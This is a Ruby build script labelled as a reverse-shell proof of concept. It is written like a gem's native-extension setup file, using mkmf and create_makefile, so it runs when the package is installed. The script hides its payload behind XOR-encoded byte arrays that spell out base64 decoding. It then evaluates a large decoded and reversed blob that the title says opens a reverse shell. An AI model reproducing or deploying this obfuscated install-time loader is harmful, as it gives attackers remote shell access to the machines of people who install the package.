Miaow Reverse Shell PoC

miaow_rev_shell.rb

#!/usr/bin/env ruby

require 'mkmf'
l = [0x20, 0x23, 0x31, 0x27, 0x74, 0x76].map { |b| b ^ 0x42 }.pack('C*')
require l

s = [0x3d].concat([0x72, 0x29, 0x1, 0x18, 0x32, 0x0, 0xa, 0x9, 0x2d, 0xc, 0x15, 0x1b, 0x72, 0x14, 0x5, 0x18, 0x37, 0xf, 0x71, 0x21, 0x2e, 0xc, 0x70, 0x20, 0x3b, 0x0, 0x2e, 0x1, 0x9, 0x13, 0x2f, 0x20, 0x2e, 0x32, 0x3, 0x18, 0x37, 0x14, 0x5, 0xb, 0x25, 0x2d, 0x13, 0x27, 0x3b, 0x10, 0x1a, 0x18, 0x3b, 0x0, 0x1, 0xb, 0x25, 0x3, 0x2b, 0x1, 0x2e, 0x14, 0x71, 0x1b, 0x38, 0x14, 0x2f, 0x21, 0x25, 0x3, 0x2b, 0x1, 0x29, 0x77, 0x15, 0x18, 0x25, 0x3, 0x1, 0xb, 0x25, 0x2d, 0x3, 0x18, 0x37, 0x14, 0x5, 0xb, 0x25, 0x3, 0x1, 0xb, 0x25, 0x3, 0x2b, 0x1, 0x32, 0xb, 0x1, 0xb, 0x29, 0x76, 0x5, 0x1a, 0x2b, 0x25, 0x1, 0x26, 0x37, 0x2e, 0x2f, 0x21, 0x35, 0x77, 0x1, 0x26, 0x2e, 0x36, 0x70, 0x1b, 0x34, 0xc, 0xa, 0xb, 0x25, 0x3, 0x1, 0xb, 0x25, 0x3, 0x1, 0xb, 0x25, 0x2d, 0x13, 0x9, 0x72, 0x14, 0x70, 0x23, 0x28, 0x7b, 0x70, 0x21, 0x25, 0x35, 0x2b, 0x21, 0x3b, 0x14, 0x5, 0x18, 0x72, 0xc, 0x71, 0x1a, 0x29, 0x77, 0x15, 0x1b, 0x24, 0x10, 0x1a, 0x26, 0x34, 0x10, 0x5, 0x26, 0x38, 0x2a, 0x11, 0x20, 0x2a, 0x14, 0x2f, 0x21, 0x72, 0xc, 0x71, 0x1a, 0x77, 0x0, 0x71, 0x20, 0x28, 0x77, 0x3b, 0x16, 0x8, 0x0, 0x1, 0xb, 0x25, 0x3, 0x1, 0xb, 0x25, 0x3, 0x1, 0xb, 0x9, 0x35, 0x2c, 0x21, 0x3b, 0x14, 0x5, 0x18, 0x72, 0xc, 0x71, 0x1a, 0x29, 0x77, 0x15, 0x1b, 0x24, 0x10, 0x1a, 0x26, 0x34, 0x10, 0x5, 0x26, 0x38, 0x0, 0x1, 0xe, 0x37, 0x2e, 0x5, 0x18, 0x72, 0xc, 0xa, 0x24, 0x25, 0x7a, 0x5, 0x18, 0x25, 0x29, 0x1, 0x18, 0x36, 0xc, 0x5, 0x9, 0x2e, 0x8, 0x28, 0x20, 0x2e, 0x0, 0x71, 0x20, 0x35, 0x77, 0x3b, 0xf, 0x37, 0x14, 0x5, 0x21, 0x12, 0x0, 0x1, 0xb, 0x25, 0x3, 0x1, 0xb, 0x25, 0x2d, 0x35, 0x21, 0x72, 0x14, 0x70, 0x18, 0x37, 0x13, 0x1a, 0x18, 0x30, 0xc, 0x70, 0x20, 0x38, 0x0, 0x11, 0x12, 0x25, 0x13, 0x15, 0x20, 0x28, 0x0, 0x11, 0x18, 0x31, 0x2e, 0x5, 0x23, 0x71, 0x0, 0x1, 0xb, 0x25, 0x3, 0x2b, 0x1, 0x37, 0x2e, 0x70, 0x18, 0x2e, 0x8, 0x5, 0xb, 0x25, 0x2d, 0x25, 0x1, 0x29, 0x77, 0x15, 0x18, 0x25, 0x3, 0x2b, 0x1, 0x77, 0x8, 0xa, 0x26, 0x2e, 0x8, 0xa, 0xb, 0x25, 0x3, 0x1, 0xb, 0x9, 0x3, 0x28, 0xf, 0x25, 0x3, 0x1a, 0x18, 0x2e, 0x3a, 0x70, 0x21, 0x25, 0x3, 0x1, 0xb, 0x25, 0x2d, 0x13, 0x18, 0x73, 0xc, 0x70, 0x21, 0x2e, 0x8, 0xa, 0xb, 0x25, 0x2d, 0x13, 0x9, 0x2c, 0x3, 0x1, 0x8, 0x2c, 0x25, 0x1, 0x26, 0x37, 0x2e, 0x2f, 0x21, 0x35, 0x77, 0x1, 0x26, 0x2e, 0x36, 0x70, 0x1b, 0x34, 0xc, 0xa, 0xb, 0x25, 0x3, 0x1, 0xb, 0x9, 0x29, 0x1, 0x14, 0x11, 0x7b, 0x7, 0x17, 0x25, 0x35, 0x1, 0x14, 0x16, 0x7b, 0x7, 0x11, 0x11, 0x2a, 0x3b, 0x26, 0x2e, 0x77, 0x2f, 0xe, 0x72, 0x14, 0x70, 0x23, 0x28, 0x7b, 0x70, 0x17, 0x13, 0xc, 0x7, 0x14, 0x25, 0x72, 0x6, 0xb, 0x72, 0x14, 0x70, 0x23, 0x28, 0x7b, 0x70, 0x21, 0x25, 0x3, 0x1, 0xb, 0x25, 0x2d, 0x25, 0x20, 0x32, 0x26, 0x15, 0x18, 0x2b, 0x0, 0x1, 0xb, 0x9, 0x2d, 0x35, 0xc, 0x38, 0xf, 0x16, 0xf, 0x25, 0x72, 0x6, 0xb, 0x17, 0x8, 0x73, 0x16, 0x13, 0x0, 0x1, 0xb, 0x9, 0x21, 0x11, 0xf, 0x37, 0x3, 0x28, 0xe, 0x35, 0x76, 0x3b, 0xc, 0x3b, 0x7, 0x38, 0x8, 0x25, 0x72, 0x6, 0xb, 0x17, 0xc, 0x73, 0x16, 0xb, 0x8, 0x4, 0xb, 0x25, 0x2d, 0x35, 0x20, 0x29, 0x0, 0x3b, 0x23, 0x3b, 0x7b, 0x2f, 0x18, 0x37, 0xf, 0x71, 0x21, 0x2e, 0xc, 0x70, 0x20, 0x3b, 0x0, 0x4, 0xb, 0x7b, 0x3, 0x1, 0x18, 0x32, 0x0, 0x2c, 0x1, 0x9, 0x21, 0x3b, 0xf, 0x37, 0x14, 0x5, 0x21, 0x34, 0x26, 0x1, 0xb, 0x2e, 0x8, 0x1a, 0x23, 0x73, 0x4, 0x1a, 0x18, 0x3b, 0x32, 0x35, 0x8, 0x72, 0x14, 0x70, 0x23, 0x28, 0x7b, 0x70, 0x21, 0x2c, 0x3, 0x11, 0x18, 0x3b, 0x2e, 0x15, 0x26, 0x3a, 0x14, 0x2f, 0x21][1..-1]).map { |b| b ^ 0x42 }.pack('C*').reverse
m = [0x26, 0x27, 0x21, 0x2d, 0x26, 0x27, 0x74, 0x76].map { |b| b ^ 0x42 }.pack('C*')
Kernel.eval(Object.const_get(l.capitalize).send(m.to_sym, s))
create_makefile('miaow_c')